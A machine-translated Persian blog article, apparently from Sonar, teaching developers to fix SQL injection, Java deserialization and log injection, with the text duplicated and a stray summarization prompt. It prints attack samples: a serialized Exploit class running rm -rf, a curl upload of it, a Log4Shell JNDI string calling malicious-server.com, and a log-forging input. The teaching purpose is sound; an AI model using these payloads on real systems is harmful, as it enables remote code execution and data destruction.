برنامه نویسی

برترین نقص های امنیتی که در حال حاضر در کد شما پنهان شده اند – و نحوه رفع آنها

Summarize this content to 400 words in Persian Lang
در سال ۲۰۱۹، یک رخنه معروف در بازی معروف Fortnite، میلیون‌ها بازیکن را در معرض خطر بدافزار قرار داد. این حادثه اهمیت ایمن سازی صحیح پایگاه های داده SQL را برجسته کرد.

اما این یک موضوع منفرد نیست.

حملات متعددی شامل تزریق SQL رخ داده است، مانند حمله‌ای که تسلا در سال 2018 تجربه کرد. در آن مورد، یک حمله تزریق SQL دیگر بر کنسول Kubernetes تسلا تأثیر گذاشت و به دلیل فعالیت‌های غیرمجاز استخراج کریپتو باعث خسارات مالی شد.

اما این فقط در مورد SQL Injection نیست.

بردارهای حمله دیگری نیز وجود دارد که کد شما در حال حاضر از آنها رنج می برد، همانطور که شرکت های بزرگ در گذشته آسیب دیده اند.

همانطور که در سال 2021 در کتابخانه Log4J به نام Log4Shell که شامل یک حمله logging injection بود که تا به امروز میلیون ها سرور را در سراسر جهان تحت تاثیر قرار داد، یا در سال 2022 در Atlassian Jira که شامل یک حمله deserialization بود که چندین نسخه از Jira را تحت تاثیر قرار داد و کنترل کامل را به جیرا واگذار کرد. مهاجم

ممکن است برای هر کسی اتفاق بیفتد، حتی برای شما.

در این مقاله، من در مورد 3 حمله رایج در کد بحث خواهم کرد: تزریق SQL، تزریق Deserialization، و Logging Injection و نحوه حل آنها.

SQL Injection

برنامه‌هایی که اطلاعات را در پایگاه‌های داده ذخیره می‌کنند معمولاً از مقادیر تولید شده توسط کاربر برای بررسی مجوزها، ذخیره اطلاعات یا به سادگی بازیابی داده‌های ذخیره شده در جداول، اسناد، نقاط، گره‌ها و غیره استفاده می‌کنند.

در آن لحظه، زمانی که برنامه ما از این مقادیر استفاده می‌کند، استفاده نادرست می‌تواند به مهاجمان اجازه دهد تا درخواست‌های اضافی ارسال شده به پایگاه داده را برای بازیابی مقادیر غیرمجاز یا حتی تغییر آن جداول برای دسترسی به پایگاه داده معرفی کنند.

کد زیر با در نظر گرفتن نام کاربری ارائه شده در صفحه ورود، کاربر را از پایگاه داده بازیابی می کند. به نظر می رسد همه چیز خوب است.

public List findUsers(String user, String pass) throws Exception {
String query = “SELECT userid FROM users ” +
“WHERE username=”” + user + “” AND password='” + pass + “‘”;
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);
List users = new ArrayList();
while (resultSet.next()) {
users.add(resultSet.getString(0));
}
return users;
}

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

با این حال، زمانی که مهاجم از تکنیک‌های تزریق استفاده می‌کند، این کد با استفاده از درون‌یابی رشته‌ای، نتایج غیرمنتظره‌ای را به همراه خواهد داشت و به مهاجم اجازه ورود به برنامه را می‌دهد.

برای رفع این مشکل، این رویکرد را از استفاده از الحاق رشته به تزریق پارامتر تغییر می دهیم. در واقع، الحاق رشته ها به طور کلی از نظر عملکرد و امنیت ایده بدی است.

String query = “SELECT userid FROM users ” +
“WHERE username=”” + user + “” AND password='” + pass + “‘”;

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

تغییر درج مقادیر پارامتر به طور مستقیم در رشته SQL، به پارامترهایی که بعداً می توانیم به آنها مراجعه کنیم، مشکل پرس و جوهای هک شده را حل می کند.

String query = “SELECT userid FROM users WHERE username = ? AND password = ?”;

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

کد ثابت ما با آماده‌سازی و تنظیم مقدار برای هر پارامتر به این شکل خواهد بود.

public List findUsers(String user, String pass) throws Exception {
String query = “SELECT userid FROM users WHERE username = ? AND password = ?”;
try (PreparedStatement statement = connection.prepareStatement(query)) {
statement.setString(1, user);
statement.setString(2, pass);
ResultSet resultSet = statement.executeQuery(query);
List users = new ArrayList();
while (resultSet.next()) {
users.add(resultSet.getString(0));
}
return users;
}
}

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

قوانین SonarQube و SonarCloud که به شناسایی آسیب‌پذیری تزریق SQL کمک می‌کنند را می‌توانید در اینجا پیدا کنید.

تزریق دسریالیزاسیون

Deserialization فرآیند تبدیل داده ها از یک قالب سریالی (مانند یک جریان بایت، رشته یا فایل) به یک شی یا ساختار داده ای است که یک برنامه می تواند با آن کار کند.

کاربردهای متداول deserialization شامل داده هایی است که بین API ها و سرویس های وب به شکل ساختارهای JSON یا در برنامه های مدرن با استفاده از RPC (Remote Procedure Call) به شکل پیام های پروتوباف ارسال می شود.

اگر هیچ گامی برای پاکسازی یا بررسی اجرا نشود، تبدیل بار پیام به یک شی می‌تواند آسیب‌پذیری‌های جدی را به همراه داشته باشد.

protected void doGet(HttpServletRequest request, HttpServletResponse response) {
ServletInputStream servletIS = request.getInputStream();
ObjectInputStream objectIS = new ObjectInputStream(servletIS);
User user = (User) objectIS.readObject();
}
class User implements Serializable {
private static final long serialVersionUID = 1L;
private String name;

public User(String name) {
this.name = name;
}

public String getName() {
return name;
}
}

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

ما در اینجا می بینیم که ما از آن استفاده می کنیم objectIS، یک مقدار مستقیم که از کاربر در جریان ورودی درخواست می آید و آن را به یک شی جدید تبدیل می کند.ما انتظار داریم که مقدار همیشه یکی از کلاس هایی باشد که برنامه ما از آن استفاده می کند. مطمئنا، مشتری ما هرگز چیز دیگری ارسال نمی کند، درست است؟ آیا آنها؟

اما اگر یک کلاینت مخرب کلاس دیگری را در درخواست ارسال کند چه؟

public class Exploit implements Serializable {
private static final long serialVersionUID = 1L;

public Exploit() {
// Malicious action: Delete a file
try {
Runtime.getRuntime().exec(“rm -rf /tmp/vulnerable.txt”);
} catch (Exception e) {
e.printStackTrace();
}
}
}

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

در این حالت، کلاسی داریم که یک فایل را در طول سازنده پیش‌فرض حذف می‌کند، که در قبلی اتفاق می‌افتد readObject تماس بگیرید.

مهاجم فقط باید این کلاس را سریال کرده و به API ارسال کند:

Exploit exploit = new Exploit();
FileOutputStream fileOut = new FileOutputStream(“exploit.ser”);
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(exploit);

$ curl -X POST –data-binary @exploit.ser http://vulnerable-api.com/user

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

خوشبختانه یک راه آسان برای رفع این مشکل وجود دارد. قبل از ایجاد شی، باید بررسی کنیم که آیا کلاسی که قرار است deserialized شود از یکی از انواع مجاز است یا خیر.

در کد بالا، یک ObjectInputStream جدید ایجاد کرده‌ایم که متد «resolveClass» لغو شده و حاوی بررسی نام کلاس است. ما از این کلاس جدید، SecureObjectInputStream، برای دریافت جریان شی استفاده می کنیم. اما ما یک بررسی لیست مجاز را قبل از خواندن جریان در یک شی (کاربر) اضافه می کنیم.

public class SecureObjectInputStream extends ObjectInputStream {
private static final Set ALLOWED_CLASSES = Set.of(User.class.getName());
@Override
protected Class resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
if (!ALLOWED_CLASSES.contains(osc.getName())) {
throw new InvalidClassException(“Unauthorized deserialization”, osc.getName());
}
return super.resolveClass(osc);
}
}

public class RequestProcessor {
protected void doGet(HttpServletRequest request, HttpServletResponse response) {
ServletInputStream servletIS = request.getInputStream();
ObjectInputStream objectIS = new SecureObjectInputStream(servletIS);
User input = (User) objectIS.readObject();
}
}

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

قوانین SonarCloud/SonarQube و SonarLint که به شناسایی آسیب‌پذیری تزریق deserialization کمک می‌کنند را می‌توانید در اینجا پیدا کنید.

تزریق چوب

سیستم ثبت گزارش یک جزء نرم افزاری یا سرویسی است که برای ضبط رویدادها، پیام ها و سایر داده های تولید شده توسط برنامه ها، سیستم ها یا دستگاه ها طراحی شده است. گزارش ها برای نظارت، عیب یابی، ممیزی و تجزیه و تحلیل نرم افزار و رفتار و عملکرد سیستم ضروری هستند.

معمولاً، این برنامه‌ها شکست‌ها، تلاش‌ها برای ورود به سیستم و حتی موفقیت‌هایی را ثبت می‌کنند که می‌توانند در صورت بروز مشکل در اشکال‌زدایی کمک کنند.

اما، آنها همچنین می توانند به یک بردار حمله تبدیل شوند.

تزریق لاگ نوعی آسیب‌پذیری امنیتی است که در آن مهاجم می‌تواند فایل‌های گزارش را با تزریق ورودی مخرب به آن‌ها دستکاری کند. اگر سیاههها به درستی ضد عفونی نشوند، می تواند منجر به چندین مشکل امنیتی شود.

هنگامی که مهاجم محتوای گزارش را تغییر می دهد تا آنها را خراب کند یا اطلاعات نادرست را برای ایجاد مشکل در تجزیه و تحلیل آنها یا شکستن تجزیه کننده های گزارش، و همچنین سوء استفاده از سیستم های مدیریت گزارش، که در آن مهاجم سیاهه ها را به آنها تزریق می کند، می توانیم مسائلی مانند جعل گزارش و آلودگی پیدا کنیم. از آسیب‌پذیری‌ها در سیستم‌های مدیریت گزارش سوء استفاده می‌کند که منجر به حملات بیشتر مانند اجرای کد از راه دور می‌شود.

بیایید کد زیر را در نظر بگیریم، جایی که یک مقدار از کاربر می گیریم و آن را ثبت می کنیم.

public void doGet(HttpServletRequest request, HttpServletResponse response) {
String user = request.getParameter(“user”);
if (user != null){
logger.log(Level.INFO, “User: {0} login in”, user);
}
}

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

بی ضرر به نظر می رسد، درست است؟

اما اگر مهاجم بخواهد با این کاربر وارد شود چه؟

john login in\n2024-08-19 12:34:56 INFO User ‘admin’ login in

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

به وضوح یک نام کاربری اشتباه است و ناموفق خواهد بود. اما، ثبت خواهد شد و شخصی که لاگ را بررسی می کند بسیار گیج می شود

2024-08-19 12:34:56 INFO User ‘john’ login in
2024-08-19 12:34:56 ERROR User ‘admin’ login in

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

یا حتی بدتر!! اگر مهاجم بداند که سیستم از یک نسخه Log4J بدون وصله استفاده می کند، می تواند مقدار زیر را به عنوان کاربر ارسال کند و سیستم از اجرای از راه دور رنج می برد. سرور LDAP که توسط مهاجم کنترل می شود با ارجاع به کلاس مخرب جاوا که روی یک سرور راه دور میزبانی شده است پاسخ می دهد. برنامه آسیب پذیر این کلاس را دانلود و اجرا می کند و به مهاجم کنترل سرور را می دهد.

$ { jndi:ldap://malicious-server.com/a}

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

اما به راحتی می توانیم از این مسائل جلوگیری کنیم.

پاکسازی مقادیری که باید ثبت شوند برای جلوگیری از آسیب‌پذیری جعل گزارش مهم است، زیرا می‌تواند منجر به خروجی‌های گیج‌کننده جعلی توسط کاربر شود.

// Log the sanitised username
String user = sanitiseInput(request.getParameter(“user”));
}

private String sanitiseInput(String input) {
// Replace newline and carriage return characters with a safe placeholder
if (input != null) {
input = input.replaceAll(“[\\n\\r]”, “_”);
}
return input;
}

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

نتیجه‌ای که در لاگ‌ها خواهیم دید به صورت زیر است، و اکنون آسان‌تر می‌توان مشاهده کرد که همه گزارش‌ها به یک فراخوانی به سیستم گزارش تعلق دارند.

2024-08-19 12:34:56 INFO User ‘john’ login in_2024-08-19 12:34:56 ERROR User ‘admin’ login in

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

به منظور جلوگیری از سوء استفاده در سیستم گزارش‌گیری، مهم است که کتابخانه‌هایمان را تا حد امکان به آخرین نسخه‌های پایدار به‌روز نگه داریم. برای log4j، آن اصلاح عملکرد را غیرفعال می کند. ما همچنین می توانیم به صورت دستی JNDI را غیرفعال کنیم.

-Dlog4j2.formatMsgNoLookups=true

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

اگر همچنان نیاز به استفاده از JNDI دارید، یک فرآیند ضدعفونی معمول می‌تواند با بررسی مقصد در لیست مقصدهای مجاز، از حملات مخرب جلوگیری کند.

public class AllowedlistJndiContextFactory implements InitialContextFactory {
// Define your list of allowed JNDI URLs
private static final List ALLOWED_JNDI_PREFIXES = Arrays.asList(
“ldap://trusted-server.com”,
“ldaps://secure-server.com”
);

@Override
public Context getInitialContext(Hashtable environment) throws NamingException {
String providerUrl = (String) environment.get(Context.PROVIDER_URL);

if (isAllowed(providerUrl)) {
return new InitialContext(environment);
} else {
throw new NamingException(“JNDI lookup ” + providerUrl + ” not allowed”);
}
}

private boolean isAllowed(String url) {
if (url == null) {
return false;
}
for (String allowedPrefix : ALLOWED_JNDI_PREFIXES) {
if (url.startsWith(allowedPrefix)) {
return true;
}
}
return false;
}
}

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

و سیستم ما را برای استفاده از کارخانه زمینه فیلتر پیکربندی کنید.

-Djava.naming.factory.initial=com.yourpackage.AllowedlistJndiContextFactory

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

قوانین SonarCloud/SonarQube و SonarLint که به شناسایی آسیب‌پذیری تزریق ورود به سیستم کمک می‌کنند را می‌توانید در اینجا پیدا کنید.

نتیجه گیری

آسیب‌پذیری‌های امنیتی فقط نگرانی‌های تئوری نیستند، بلکه تهدیدهای واقعی هستند که قبلاً شرکت‌های بزرگ را تحت تأثیر قرار داده و منجر به آسیب مالی و اعتبار قابل توجهی شده است.

از تزریق‌های SQL گرفته تا تزریق‌های Deserialization و Logging، این بردارهای حمله رایج هستند و اگر به درستی مورد توجه قرار نگیرند، می‌توانند به راحتی از کد ناامن سوء استفاده کنند.

با درک ماهیت این آسیب‌پذیری‌ها و اجرای اصلاحات توصیه‌شده، مانند استفاده از پرس‌و‌جوهای پارامتری، اجتناب از شیوه‌های غیرایمن‌زدایی و ایمن‌سازی مناسب چارچوب‌های گزارش‌گیری، توسعه‌دهندگان می‌توانند خطر این حملات را به میزان قابل توجهی کاهش دهند.

اقدامات امنیتی پیشگیرانه برای محافظت از برنامه های شما در برابر تبدیل شدن به قربانی بعدی این سوء استفاده های گسترده و مضر ضروری است.

Sonar ابزارهای رایگان و منبع باز مانند SonarLint، SonarQube و SonarCloud را ارائه می‌کند که می‌توانند تمام این آسیب‌پذیری‌ها را شناسایی، هشدار داده و راه‌حل‌هایی را پیشنهاد کنند.

در سال ۲۰۱۹، یک رخنه معروف در بازی معروف Fortnite، میلیون‌ها بازیکن را در معرض خطر بدافزار قرار داد. این حادثه اهمیت ایمن سازی صحیح پایگاه های داده SQL را برجسته کرد.

اما این یک موضوع منفرد نیست.

حملات متعددی شامل تزریق SQL رخ داده است، مانند حمله‌ای که تسلا در سال 2018 تجربه کرد. در آن مورد، یک حمله تزریق SQL دیگر بر کنسول Kubernetes تسلا تأثیر گذاشت و به دلیل فعالیت‌های غیرمجاز استخراج کریپتو باعث خسارات مالی شد.

اما این فقط در مورد SQL Injection نیست.

بردارهای حمله دیگری نیز وجود دارد که کد شما در حال حاضر از آنها رنج می برد، همانطور که شرکت های بزرگ در گذشته آسیب دیده اند.

همانطور که در سال 2021 در کتابخانه Log4J به نام Log4Shell که شامل یک حمله logging injection بود که تا به امروز میلیون ها سرور را در سراسر جهان تحت تاثیر قرار داد، یا در سال 2022 در Atlassian Jira که شامل یک حمله deserialization بود که چندین نسخه از Jira را تحت تاثیر قرار داد و کنترل کامل را به جیرا واگذار کرد. مهاجم

ممکن است برای هر کسی اتفاق بیفتد، حتی برای شما.

در این مقاله، من در مورد 3 حمله رایج در کد بحث خواهم کرد: تزریق SQL، تزریق Deserialization، و Logging Injection و نحوه حل آنها.

SQL Injection

برنامه‌هایی که اطلاعات را در پایگاه‌های داده ذخیره می‌کنند معمولاً از مقادیر تولید شده توسط کاربر برای بررسی مجوزها، ذخیره اطلاعات یا به سادگی بازیابی داده‌های ذخیره شده در جداول، اسناد، نقاط، گره‌ها و غیره استفاده می‌کنند.

در آن لحظه، زمانی که برنامه ما از این مقادیر استفاده می‌کند، استفاده نادرست می‌تواند به مهاجمان اجازه دهد تا درخواست‌های اضافی ارسال شده به پایگاه داده را برای بازیابی مقادیر غیرمجاز یا حتی تغییر آن جداول برای دسترسی به پایگاه داده معرفی کنند.

کد زیر با در نظر گرفتن نام کاربری ارائه شده در صفحه ورود، کاربر را از پایگاه داده بازیابی می کند. به نظر می رسد همه چیز خوب است.

ورود منظم

public List findUsers(String user, String pass) throws Exception {
       String query = "SELECT userid FROM users " +
                   "WHERE username="" + user + "" AND password='" + pass + "'";
       Statement statement = connection.createStatement();
       ResultSet resultSet = statement.executeQuery(query);
       List users = new ArrayList();
       while (resultSet.next()) {
           users.add(resultSet.getString(0));
       }
       return users;
   }
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

با این حال، زمانی که مهاجم از تکنیک‌های تزریق استفاده می‌کند، این کد با استفاده از درون‌یابی رشته‌ای، نتایج غیرمنتظره‌ای را به همراه خواهد داشت و به مهاجم اجازه ورود به برنامه را می‌دهد.

ورود به سیستم SQL Injection

برای رفع این مشکل، این رویکرد را از استفاده از الحاق رشته به تزریق پارامتر تغییر می دهیم. در واقع، الحاق رشته ها به طور کلی از نظر عملکرد و امنیت ایده بدی است.

String query = "SELECT userid FROM users " +
               "WHERE username="" + user + "" AND password='" + pass + "'";
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

تغییر درج مقادیر پارامتر به طور مستقیم در رشته SQL، به پارامترهایی که بعداً می توانیم به آنها مراجعه کنیم، مشکل پرس و جوهای هک شده را حل می کند.

 String query = "SELECT userid FROM users WHERE username = ? AND password = ?";
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

کد ثابت ما با آماده‌سازی و تنظیم مقدار برای هر پارامتر به این شکل خواهد بود.

    public List findUsers(String user, String pass) throws Exception {
       String query = "SELECT userid FROM users WHERE username = ? AND password = ?";
       try (PreparedStatement statement = connection.prepareStatement(query)) {
           statement.setString(1, user);
           statement.setString(2, pass);
           ResultSet resultSet = statement.executeQuery(query);
           List users = new ArrayList();
           while (resultSet.next()) {
               users.add(resultSet.getString(0));
           }
           return users;
       }
    }
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

قوانین SonarQube و SonarCloud که به شناسایی آسیب‌پذیری تزریق SQL کمک می‌کنند را می‌توانید در اینجا پیدا کنید.

تزریق دسریالیزاسیون

Deserialization فرآیند تبدیل داده ها از یک قالب سریالی (مانند یک جریان بایت، رشته یا فایل) به یک شی یا ساختار داده ای است که یک برنامه می تواند با آن کار کند.

کاربردهای متداول deserialization شامل داده هایی است که بین API ها و سرویس های وب به شکل ساختارهای JSON یا در برنامه های مدرن با استفاده از RPC (Remote Procedure Call) به شکل پیام های پروتوباف ارسال می شود.

اگر هیچ گامی برای پاکسازی یا بررسی اجرا نشود، تبدیل بار پیام به یک شی می‌تواند آسیب‌پذیری‌های جدی را به همراه داشته باشد.

   protected void doGet(HttpServletRequest request, HttpServletResponse response) {
       ServletInputStream servletIS = request.getInputStream();
       ObjectInputStream  objectIS  = new ObjectInputStream(servletIS);
       User user                 = (User) objectIS.readObject();
     }
   class User implements Serializable {
       private static final long serialVersionUID = 1L;
       private String name;

       public User(String name) {
           this.name = name;
       }

       public String getName() {
           return name;
       }
   }
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

ما در اینجا می بینیم که ما از آن استفاده می کنیم objectIS، یک مقدار مستقیم که از کاربر در جریان ورودی درخواست می آید و آن را به یک شی جدید تبدیل می کند.
ما انتظار داریم که مقدار همیشه یکی از کلاس هایی باشد که برنامه ما از آن استفاده می کند. مطمئنا، مشتری ما هرگز چیز دیگری ارسال نمی کند، درست است؟ آیا آنها؟

اما اگر یک کلاینت مخرب کلاس دیگری را در درخواست ارسال کند چه؟

   public class Exploit implements Serializable {
       private static final long serialVersionUID = 1L;

       public Exploit() {
           // Malicious action: Delete a file
           try {
               Runtime.getRuntime().exec("rm -rf /tmp/vulnerable.txt");
           } catch (Exception e) {
               e.printStackTrace();
           }
       }
   }
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

در این حالت، کلاسی داریم که یک فایل را در طول سازنده پیش‌فرض حذف می‌کند، که در قبلی اتفاق می‌افتد readObject تماس بگیرید.

مهاجم فقط باید این کلاس را سریال کرده و به API ارسال کند:

   Exploit exploit = new Exploit();
   FileOutputStream fileOut = new FileOutputStream("exploit.ser");
   ObjectOutputStream out = new ObjectOutputStream(fileOut);
   out.writeObject(exploit);
...
$ curl -X POST --data-binary @exploit.ser http://vulnerable-api.com/user
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

خوشبختانه یک راه آسان برای رفع این مشکل وجود دارد. قبل از ایجاد شی، باید بررسی کنیم که آیا کلاسی که قرار است deserialized شود از یکی از انواع مجاز است یا خیر.

در کد بالا، یک ObjectInputStream جدید ایجاد کرده‌ایم که متد «resolveClass» لغو شده و حاوی بررسی نام کلاس است. ما از این کلاس جدید، SecureObjectInputStream، برای دریافت جریان شی استفاده می کنیم. اما ما یک بررسی لیست مجاز را قبل از خواندن جریان در یک شی (کاربر) اضافه می کنیم.

 public class SecureObjectInputStream extends ObjectInputStream {
   private static final Set ALLOWED_CLASSES = Set.of(User.class.getName());
   @Override
   protected Class resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
     if (!ALLOWED_CLASSES.contains(osc.getName())) {
       throw new InvalidClassException("Unauthorized deserialization", osc.getName());
     }
     return super.resolveClass(osc);
   }
 }
...
 public class RequestProcessor {
   protected void doGet(HttpServletRequest request, HttpServletResponse response) {
     ServletInputStream servletIS = request.getInputStream();
     ObjectInputStream  objectIS  = new SecureObjectInputStream(servletIS);
     User input                 = (User) objectIS.readObject();
   }
 }
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

قوانین SonarCloud/SonarQube و SonarLint که به شناسایی آسیب‌پذیری تزریق deserialization کمک می‌کنند را می‌توانید در اینجا پیدا کنید.

تزریق چوب

سیستم ثبت گزارش یک جزء نرم افزاری یا سرویسی است که برای ضبط رویدادها، پیام ها و سایر داده های تولید شده توسط برنامه ها، سیستم ها یا دستگاه ها طراحی شده است. گزارش ها برای نظارت، عیب یابی، ممیزی و تجزیه و تحلیل نرم افزار و رفتار و عملکرد سیستم ضروری هستند.

معمولاً، این برنامه‌ها شکست‌ها، تلاش‌ها برای ورود به سیستم و حتی موفقیت‌هایی را ثبت می‌کنند که می‌توانند در صورت بروز مشکل در اشکال‌زدایی کمک کنند.

اما، آنها همچنین می توانند به یک بردار حمله تبدیل شوند.

تزریق لاگ نوعی آسیب‌پذیری امنیتی است که در آن مهاجم می‌تواند فایل‌های گزارش را با تزریق ورودی مخرب به آن‌ها دستکاری کند. اگر سیاههها به درستی ضد عفونی نشوند، می تواند منجر به چندین مشکل امنیتی شود.

هنگامی که مهاجم محتوای گزارش را تغییر می دهد تا آنها را خراب کند یا اطلاعات نادرست را برای ایجاد مشکل در تجزیه و تحلیل آنها یا شکستن تجزیه کننده های گزارش، و همچنین سوء استفاده از سیستم های مدیریت گزارش، که در آن مهاجم سیاهه ها را به آنها تزریق می کند، می توانیم مسائلی مانند جعل گزارش و آلودگی پیدا کنیم. از آسیب‌پذیری‌ها در سیستم‌های مدیریت گزارش سوء استفاده می‌کند که منجر به حملات بیشتر مانند اجرای کد از راه دور می‌شود.

بیایید کد زیر را در نظر بگیریم، جایی که یک مقدار از کاربر می گیریم و آن را ثبت می کنیم.

   public void doGet(HttpServletRequest request, HttpServletResponse response) {
       String user = request.getParameter("user");
       if (user != null){
         logger.log(Level.INFO, "User: {0} login in", user);
       }
   }
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

بی ضرر به نظر می رسد، درست است؟

اما اگر مهاجم بخواهد با این کاربر وارد شود چه؟

 john login in\n2024-08-19 12:34:56 INFO User 'admin' login in
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

ورود به سیستم تزریق

به وضوح یک نام کاربری اشتباه است و ناموفق خواهد بود. اما، ثبت خواهد شد و شخصی که لاگ را بررسی می کند بسیار گیج می شود

   2024-08-19 12:34:56 INFO User 'john' login in 
   2024-08-19 12:34:56 ERROR User 'admin' login in 
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

یا حتی بدتر!! اگر مهاجم بداند که سیستم از یک نسخه Log4J بدون وصله استفاده می کند، می تواند مقدار زیر را به عنوان کاربر ارسال کند و سیستم از اجرای از راه دور رنج می برد. سرور LDAP که توسط مهاجم کنترل می شود با ارجاع به کلاس مخرب جاوا که روی یک سرور راه دور میزبانی شده است پاسخ می دهد. برنامه آسیب پذیر این کلاس را دانلود و اجرا می کند و به مهاجم کنترل سرور را می دهد.

    $ { jndi:ldap://malicious-server.com/a}
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

اما به راحتی می توانیم از این مسائل جلوگیری کنیم.

پاکسازی مقادیری که باید ثبت شوند برای جلوگیری از آسیب‌پذیری جعل گزارش مهم است، زیرا می‌تواند منجر به خروجی‌های گیج‌کننده جعلی توسط کاربر شود.

     // Log the sanitised username
     String user = sanitiseInput(request.getParameter("user"));
   }

  private String sanitiseInput(String input) {
     // Replace newline and carriage return characters with a safe placeholder
     if (input != null) {
       input = input.replaceAll("[\\n\\r]", "_");
     }
     return input;
   }
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

نتیجه‌ای که در لاگ‌ها خواهیم دید به صورت زیر است، و اکنون آسان‌تر می‌توان مشاهده کرد که همه گزارش‌ها به یک فراخوانی به سیستم گزارش تعلق دارند.

   2024-08-19 12:34:56 INFO User 'john' login in_2024-08-19 12:34:56 ERROR User 'admin' login in 
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

به منظور جلوگیری از سوء استفاده در سیستم گزارش‌گیری، مهم است که کتابخانه‌هایمان را تا حد امکان به آخرین نسخه‌های پایدار به‌روز نگه داریم. برای log4j، آن اصلاح عملکرد را غیرفعال می کند. ما همچنین می توانیم به صورت دستی JNDI را غیرفعال کنیم.

     -Dlog4j2.formatMsgNoLookups=true
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

اگر همچنان نیاز به استفاده از JNDI دارید، یک فرآیند ضدعفونی معمول می‌تواند با بررسی مقصد در لیست مقصدهای مجاز، از حملات مخرب جلوگیری کند.

public class AllowedlistJndiContextFactory implements InitialContextFactory {
   // Define your list of allowed JNDI URLs
   private static final List ALLOWED_JNDI_PREFIXES = Arrays.asList(
       "ldap://trusted-server.com",
       "ldaps://secure-server.com"
   );

   @Override
   public Context getInitialContext(Hashtable environment) throws NamingException {
       String providerUrl = (String) environment.get(Context.PROVIDER_URL);

       if (isAllowed(providerUrl)) {
           return new InitialContext(environment); 
       } else {
           throw new NamingException("JNDI lookup " + providerUrl + " not allowed");
       }
   }

   private boolean isAllowed(String url) {
       if (url == null) {
           return false;
       }
       for (String allowedPrefix : ALLOWED_JNDI_PREFIXES) {
           if (url.startsWith(allowedPrefix)) {
               return true;
           }
       }
       return false;
   }
}
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

و سیستم ما را برای استفاده از کارخانه زمینه فیلتر پیکربندی کنید.

-Djava.naming.factory.initial=com.yourpackage.AllowedlistJndiContextFactory
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

قوانین SonarCloud/SonarQube و SonarLint که به شناسایی آسیب‌پذیری تزریق ورود به سیستم کمک می‌کنند را می‌توانید در اینجا پیدا کنید.

نتیجه گیری

آسیب‌پذیری‌های امنیتی فقط نگرانی‌های تئوری نیستند، بلکه تهدیدهای واقعی هستند که قبلاً شرکت‌های بزرگ را تحت تأثیر قرار داده و منجر به آسیب مالی و اعتبار قابل توجهی شده است.

از تزریق‌های SQL گرفته تا تزریق‌های Deserialization و Logging، این بردارهای حمله رایج هستند و اگر به درستی مورد توجه قرار نگیرند، می‌توانند به راحتی از کد ناامن سوء استفاده کنند.

با درک ماهیت این آسیب‌پذیری‌ها و اجرای اصلاحات توصیه‌شده، مانند استفاده از پرس‌و‌جوهای پارامتری، اجتناب از شیوه‌های غیرایمن‌زدایی و ایمن‌سازی مناسب چارچوب‌های گزارش‌گیری، توسعه‌دهندگان می‌توانند خطر این حملات را به میزان قابل توجهی کاهش دهند.

اقدامات امنیتی پیشگیرانه برای محافظت از برنامه های شما در برابر تبدیل شدن به قربانی بعدی این سوء استفاده های گسترده و مضر ضروری است.

Sonar ابزارهای رایگان و منبع باز مانند SonarLint، SonarQube و SonarCloud را ارائه می‌کند که می‌توانند تمام این آسیب‌پذیری‌ها را شناسایی، هشدار داده و راه‌حل‌هایی را پیشنهاد کنند.

نوشته های مشابه

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دکمه بازگشت به بالا